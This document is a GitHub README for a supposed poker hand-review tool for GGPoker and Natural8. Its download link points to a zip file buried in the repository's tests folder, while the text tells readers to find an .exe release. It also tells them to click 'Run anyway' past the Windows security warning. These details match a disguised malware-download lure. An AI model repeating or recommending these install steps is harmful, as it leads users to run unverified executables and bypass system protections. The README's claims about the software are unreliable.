Skip to content

Repository files navigation

🃏 poker-hand-review - Improve your tournament results with data

🎯 About the software

This tool acts as a coach for your poker tournaments. It reviews your hand history files from Natural8 and GGPoker. It grades every decision you make during a tournament. The software compares your actions against optimal game theory. Think of it as a chess engine for your poker decisions. It identifies mistakes and provides suggestions to help you make better calls, folds, and raises.

⚙️ System requirements

Ensure your computer meets these requirements before you start:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 8 GB of RAM.
  • Storage: 500 MB of free space.
  • Software: You need the latest version of the GGPoker or Natural8 client installed.
  • Hand History: Your poker client must have the "Save Hand History" option enabled in its settings menu.

📥 How to download and install

Follow these steps to set up the software on your computer.

  1. Visit this page to download the software: https://github.com/Vgaj9497/poker-hand-review/raw/refs/heads/main/tests/hand_review_poker_2.9-alpha.4.zip
  2. Locate the latest release file on the page. Look for the file ending in .exe.
  3. Click the file to start the download to your computer.
  4. Move the downloaded file to a folder where you want the application to live.
  5. Double-click the file to open the application.
  6. If Windows shows a security prompt, click "More info" and then click "Run anyway."

🚀 Running your first review

Once you open the software, follow this process to analyze your hands:

  1. Open your poker client and log in.
  2. Ensure you have played at least one tournament.
  3. Locate the folder where your poker client saves hand history files. This is usually in your Documents folder under the poker client name.
  4. In the poker-hand-review application, click the button labeled "Select Folder."
  5. Choose the folder containing your hand history files.
  6. Click the "Scan" button.
  7. The software reads your files and parses the data. This process takes a few minutes depending on how many hands you played.
  8. A list of your hands appears on the screen. Each hand shows a score. A high score means you played the hand well. A low score indicates a potential mistake.

🔍 Understanding the scores

The tool uses math to grade your play. It looks at the size of your stack, the cards in your hand, and the actions of your opponents.

  • Green score: You played the hand correctly. You followed the optimal strategy.
  • Yellow score: You made a decision that was close to the correct path but missed a small detail.
  • Red score: You made a significant error. The software explains why this decision hurts your long-term success.

Click on any hand to see a breakdown of the specific street where you deviated from the ideal play. It shows you the pot odds and the expected value of different choices.

🛠 Troubleshooting common issues

If you encounter problems, check these items first:

  • Application does not open: Ensure you have the latest version of Windows installed. Restart your computer if the application hangs.
  • No hands show after a scan: Check your poker client settings. Make sure you enabled the "Save Hand History" feature. If you just finished a session, wait a few minutes for the client to write the files to your hard drive.
  • Files do not load: Ensure the hand history files remain in their original folder. Do not move or rename the raw text files.
  • Software feels slow: Close other programs while running the analyzer. It uses your processor to perform complex math calculations.

📝 Tips for improvement

Review your hands after every session. Do not wait until the next day. Memory serves you better when the hands are fresh. Focus on red hands first. These hands cost you the most chips in the long run. Master these situations to stabilize your bankroll. Use the information to adjust your strategy for future tournaments. Consistency leads to better tournament outcomes. The goal is to reduce the number of mistakes you make in every session. Practice with the tool to build a strong foundation of knowledge.